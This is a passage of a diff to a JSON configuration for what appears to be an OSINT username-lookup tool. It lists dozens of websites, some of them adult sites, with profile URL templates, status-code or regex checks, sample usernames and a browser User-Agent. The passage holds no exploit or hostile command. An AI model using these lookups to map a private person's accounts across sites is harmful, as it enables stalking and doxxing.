"youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.cnet.com/profiles/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "ctan": { + "url": "https://ctan.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://ctan.org/author/%s", + "existUsername": "briggs", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://ctan.org/author/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "caddycommunity": { + "url": "https://caddy.community/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://caddy.community/u/%s/summary", + "existUsername": "taako_magnusen", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://caddy.community/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "cartalkcommunity": { + "url": "https://community.cartalk.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.cartalk.com/u/%s/summary", + "existUsername": "always_fixing", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.cartalk.com/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "championat": { + "url": "https://www.championat.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.championat.com/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.championat.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "chaos": { + "url": "https://chaos.social/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://chaos.social/@%s", + "existUsername": "ordnung", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://chaos.social/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "chaturbate": { + "url": "https://chaturbate.com", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://chaturbate.com/%s", + "existUsername": "cute18cute", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://chaturbate.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "choicecommunity": { + "url": "https://choice.community/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://choice.community/u/%s/summary", + "existUsername": "gordon", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://choice.community/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "clapper": { + "url": "https://clapperapp.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://clapperapp.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://clapperapp.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "cloudflarecommunity": { + "url": "https://community.cloudflare.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.cloudflare.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.cloudflare.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "clubhouse": { + "url": "https://www.clubhouse.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.clubhouse.com/@%s", + "existUsername": "waniathar", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.clubhouse.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "codeforces": { + "url": "https://codeforces.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "solved for all time", + "url": "https://codeforces.com/profile/%s", + "existUsername": "tourist", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://codeforces.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IE" + } + }, + "codepen": { + "url": "https://codepen.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://codepen.io/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://codepen.io/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "coderwall": { + "url": "https://coderwall.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://coderwall.com/%s", + "existUsername": "hacker", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://coderwall.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "codewars": { + "url": "https://www.codewars.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.codewars.com/users/%s", + "existUsername": "example", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.codewars.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "coinvote": { + "url": "https://coinvote.cc/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://coinvote.cc/profile/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://coinvote.cc/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "colourlovers": { + "url": "https://www.colourlovers.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.colourlovers.com/lover/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.colourlovers.com/lover/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "coroflot": { + "url": "https://coroflot.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.coroflot.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.coroflot.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "crevado": { + "url": "https://crevado.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.crevado.com", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.crevado.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "crowdin": { + "url": "https://crowdin.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://crowdin.com/profile/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://crowdin.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "cryptomatorforum": { + "url": "https://community.cryptomator.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.cryptomator.org/u/%s", + "existUsername": "michael", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.cryptomator.org/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "devcommunity": { + "url": "https://dev.to/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://dev.to/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://dev.to/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "dailymotion": { + "url": "https://www.dailymotion.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.dailymotion.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.dailymotion.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "deviantart": { + "url": "https://deviantart.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.deviantart.com", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.deviantart.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "discogs": { + "url": "https://www.discogs.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.discogs.com/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.discogs.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "discuss-elastic": { + "url": "https://discuss.elastic.co/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://discuss.elastic.co/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://discuss.elastic.co/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "disqus": { + "url": "https://disqus.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://disqus.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://disqus.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "dockerhub": { + "url": "https://hub.docker.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://hub.docker.com/v2/orgs/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://hub.docker.com/u/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "eintrachtfrankfurtforum": { + "url": "https://community.eintracht.de/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.eintracht.de/fans/%s", + "existUsername": "mmammu", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.eintracht.de/fans/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "envatoforum": { + "url": "https://forums.envato.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forums.envato.com/u/%s", + "existUsername": "enabled", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forums.envato.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AU" + } + }, + "erome": { + "url": "https://www.erome.com/", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.erome.com/%s", + "existUsername": "bob", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.erome.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "etsy": { + "url": "https://www.etsy.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.etsy.com/shop/%s", + "existUsername": "JennyKrafts", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.etsy.com/shop/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "exposure": { + "url": "https://exposure.co/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.exposure.co/", + "existUsername": "jonasjacobsson", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.exposure.co/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "eyeem": { + "url": "https://www.eyeem.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.eyeem.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.eyeem.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "f3-cool": { + "url": "https://f3.cool/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://f3.cool/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://f3.cool/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "fameswap": { + "url": "https://fameswap.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://fameswap.com/user/%s", + "existUsername": "fameswap", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://fameswap.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "fandom": { + "url": "https://www.fandom.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.fandom.com/u/%s", + "existUsername": "Jungypoo", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.fandom.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "finanzfrage": { + "url": "https://www.finanzfrage.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.finanzfrage.net/nutzer/%s", + "existUsername": "finanzfrage", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.finanzfrage.net/nutzer/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "flickr": { + "url": "https://www.flickr.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.flickr.com/people/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.flickr.com/people/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "flightradar24": { + "url": "https://www.flightradar24.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://my.flightradar24.com/%s", + "existUsername": "jebbrooks", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://my.flightradar24.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "flipboard": { + "url": "https://flipboard.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://flipboard.com/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://flipboard.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "fortnitetracker": { + "url": "https://fortnitetracker.com/challenges", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://fortnitetracker.com/profile/all/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://fortnitetracker.com/profile/all/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "fosstodon": { + "url": "https://fosstodon.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://fosstodon.org/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://fosstodon.org/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "freesound": { + "url": "https://freesound.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://freesound.org/people/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://freesound.org/people/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "ES" + } + }, + "gamespot": { + "url": "https://www.gamespot.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.gamespot.com/profile/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.gamespot.com/profile/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "genius-artists": { + "url": "https://genius.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://genius.com/artists/%s", + "existUsername": "genius", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://genius.com/artists/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "genius-users": { + "url": "https://genius.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://genius.com/%s", + "existUsername": "genius", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://genius.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "gesundheitsfrage": { + "url": "https://www.gesundheitsfrage.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.gesundheitsfrage.net/nutzer/%s", + "existUsername": "gutefrage", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.gesundheitsfrage.net/nutzer/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "getmyuni": { + "url": "https://getmyuni.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.getmyuni.com/user/%s", + "existUsername": "Upneet.Grover17", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.getmyuni.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "giantbomb": { + "url": "https://www.giantbomb.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.giantbomb.com/profile/%s/", + "existUsername": "bob", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.giantbomb.com/profile/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "giphy": { + "url": "https://giphy.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://giphy.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://giphy.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "goodreads": { + "url": "https://www.goodreads.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.goodreads.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.goodreads.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gradle": { + "url": "https://gradle.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://plugins.gradle.org/u/%s", + "existUsername": "jetbrains", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://plugins.gradle.org/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gravatar": { + "url": "http://en.gravatar.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://en.gravatar.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 